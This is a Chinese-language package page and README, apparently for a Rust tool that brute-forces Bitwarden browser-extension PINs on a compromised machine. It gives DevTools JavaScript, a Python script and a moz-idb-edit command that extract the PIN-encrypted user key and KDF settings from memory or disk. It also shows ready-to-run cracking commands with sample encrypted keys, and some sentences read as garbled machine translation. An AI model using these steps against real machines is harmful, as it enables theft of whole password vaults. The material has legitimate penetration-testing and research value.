#暴力破解 #PIN #Bitwarden #渗透测试 #工具 #用户密钥 #密码散列

bin+lib bitwarden-pin

从存储或内存中暴力破解任何Bitwarden PIN

1 个不稳定版本

0.1.0 2024年3月25日

命令行工具 中排名第 1545

MIT/Apache

21KB
225

Bitwarden PIN 暴力破解

从存储或内存中暴力破解任何Bitwarden PIN

当Bitwarden浏览器扩展安装在受侵害的机器上时,它通常仍然被锁定,并需要输入主密码来解密数据。然而,可以选择使用PIN而不是密码来锁定保险库,可以是始终在输入主密码一次后

可以想象,密码的安全性必须较低,因为现在解锁保险库只需要一个4位数。它仍然可以在离线状态下工作,这意味着解密可以无限制地复制,以便暴力破解PIN。虽然Bitwarden尽可能地使破解这样的PIN变慢,但只有10000个选项,即使是慢速密码散列,几分钟内也可以完成。

此工具实现了一个多线程CLI工具中的暴力破解算法,支持所有类型的散列。根据PIN的长度和使用的算法,可能需要几分钟到几小时。但如果你仔细检查散列配置并将其放入此工具,你可以确保在每种情况下都能成功破解散列。

安装

cargo install bitwarden-pin

或者 发布 页面 下载解压 预编译的二进制文件。

示例

Bitwarden PIN Bruteforce - Example

步骤

1. 寻找PIN加密的用户密钥

破解技术将涉及在磁盘或内存中查找配置变量。这取决于复选框是否被勾选,如果是未勾选的框,则称为PERSISTANT,表示密钥存储在磁盘上,如果是勾选的框,则称为TRANSIENT,表示密钥存储在内存中。(来源)

磁盘存储是一种常见的存储方法,大多数扩展都会使用。这些可以从使用浏览器制作的特定文件中读取。内存存储只是一个其他扩展部分可以访问的对象,需要通过调试器交互式读取。

Google Chrome: 内存(GUI)

  1. 在地址栏右侧的Bitwarden扩展上右键单击
  2. 选择 检查弹出窗口

Chrome inspect extension popup in context menu

  1. 在新DevTools窗口中,在控制台运行以下JavaScript代码
chrome.extension.getBackgroundPage().bitwardenMain.memoryStorageService.store.get("state").accounts
  1. 这将记录一个包含所有内存账户及其属性的JavaScript对象。使用箭头折叠属性,并查找 settings.pinKeyEncryptedUserKeyEphemeral

【提示】在同一个控制台中,您还可以通过以下API读取磁盘存储:

chrome.extension.getBackgroundPage().bitwardenMain.stateService.accountDiskCache._value

Firefox:内存中(GUI)

  1. 在地址栏中输入 about:debugging 访问调试设置
  2. 点击 这个Firefox
  3. 在Bitwarden扩展中,点击 检查
  4. 在打开的开发者工具控制台中,运行以下JavaScript
bitwardenMain.memoryStorageService.store.get("state").accounts

提示:在同一个控制台中,您还可以通过以下API读取磁盘存储

bitwardenMain.stateService.accountDiskCache._value

Google Chrome:磁盘上

请查看https://bitwarden.com/help/data-storage/#on-your-local-machine,了解浏览器扩展数据在目标操作系统中的存储位置。例如,在 Windows 上,这位于:
%LocalAppData%\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb

使用以下Python脚本来读取和转储数据

import plyvel  # pip install plyvel
import json

BITWARDEN = r"C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb"

db = plyvel.DB(BITWARDEN)

activeUserId = json.loads(db.get(b"activeUserId"))
account = json.loads(db.get(activeUserId.encode()))

json.dump(account, open("account.json", "w"), indent=4, sort_keys=True)

在创建的 account.json 文件中,找到 settings.pinKeyEncryptedUserKey。如果为空,它可能是一个旧版本,之前存储在 settings.pinProtected.encrypted 中。

Firefox:磁盘上

请查看https://bitwarden.com/help/data-storage/#on-your-local-machine,了解浏览器扩展数据在目标操作系统中的存储位置。例如,在 Windows 上,这位于:
%AppData%\Mozilla\Firefox\Profiles\[profile]\storage\default\moz-extension+++[UUID]^userContextId=[整数]

这里有一些变量在不同系统中是不同的。可以通过尝试所有文件夹来找到 [profile]。在Firefox地址栏的 about:debugging 中,可以找到 [UUID]。然后按下 This Firefox,并在Bitwarden扩展下的内部UUID中查找。这应该足以找到路径。
然后数据库文件本身存储在附加到它的 \idb\3647222921wleabcEoxlt-eengsairo.sqlite 中。

可以使用 moz-idb-edit 工具将所有数据以JSON格式转储到文件中

pip install git+https://gitlab.com/ntninja/moz-idb-edit.git
moz-idb-edit --dbpath "C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\lm6vr7sd.default-release-1619096024431\storage\default\moz-extension+++b546b99d-f948-44ea-91e1-333828d5ac30^userContextId=4294967295\idb\3647222921wleabcEoxlt-eengsairo.sqlite" > account.json

2. 收集加密设置

虽然用户密钥和PIN都使用一些默认加密设置进行加密,但这些随着时间的推移已经发生变化,也可以在设置中更改,因此它们可能不同。为了确保可以检查密钥派生函数(kdf)设置。将 null 值替换为其默认值

$ jq . account.json | grep "kdf"

    "kdfType": 0,             # 0 = pbkdf2, 1 = argon2
    "kdfIterations": 100000,  # default: pbkdf2=600000, argon2=3
    "kdfMemory": null,        # default: argon2=64 (*1024 = 65536)
    "kdfParallelism": null,   # default: argon2=4

来源:https://github.com/bitwarden/clients/blob/main/libs/common/src/platform/enums/kdf-type.enum.ts

3. 破解PIN

当您找到所有参数以及永久或临时密钥时,您可以在没有UI锁定的情况下在本地暴力破解PIN。对于旧默认值的某些基本实现,但决定制作自己的工具,您可以将所有这些参数传递给优化和线程化的程序(此存储库)来破解它。以下是一些示例

默认设置(pbkdf2,迭代次数为600000),以及带有 -m 盐的电子邮件

bitwarden-pin -e "2.P6TpPPpMf5zkHUfTplnocw==|KZ7/pR8ft+LwcjfXs2ym9hmxE7DLIeA9Kl+IPwTVCwLmbpkFtYKPWvK53DEDDrVUeYvz/rPcl3MEH3wXl200HCsV5ZbGLGVU4bha5Aw20fk=|+Y46Za3Oo63XRbvqLFz5cVuvbqMvBqopD16+8HV83mk=" \
              -m "[email protected]"

使用 -i 设置自定义迭代次数,以旧版本为6倍更快地破解

bitwarden-pin -e "..." 
              -m "[email protected]" pbkdf2 -i 100000

将算法设置为较新的argon2

bitwarden-pin -e "2.FA4aPsq/5jKajc8tGqYKaQ==|CO/t9f1EQ4O5LL6O1anBAd1/4Hb+l4I32UMlW+3O7CoxTRXlEuLK5xvDCFmeRCYmylt206B22roFXycaRG3Z9fnN1aVVbBJ59qfCDEGusHw=|vmWmAb9kfqPPljRNhDMe+fDlwwat8XN5BZSsMAH8p8w=" \
              -m "[email protected]" argon2

使用 -i 为argon2设置自定义 kdfConfig 值,用于迭代,使用 -m 用于MiB中的内存

bitwarden-pin -e "2.FA4aPsq/5jKajc8tGqYKaQ==|CO/t9f1EQ4O5LL6O1anBAd1/4Hb+l4I32UMlW+3O7CoxTRXlEuLK5xvDCFmeRCYmylt206B22roFXycaRG3Z9fnN1aVVbBJ59qfCDEGusHw=|vmWmAb9kfqPPljRNhDMe+fDlwwat8XN5BZSsMAH8p8w=" \
              -m "[email protected]" argon2 -i 3 -m 64 -p 6

以100000次迭代和6位数字破解PIN(将花费很长时间)

bitwarden-pin -e "..." 
              -m "[email protected]" pbkdf2 -i 100000 -p 6

依赖项

~5–17MB
~166K SLoC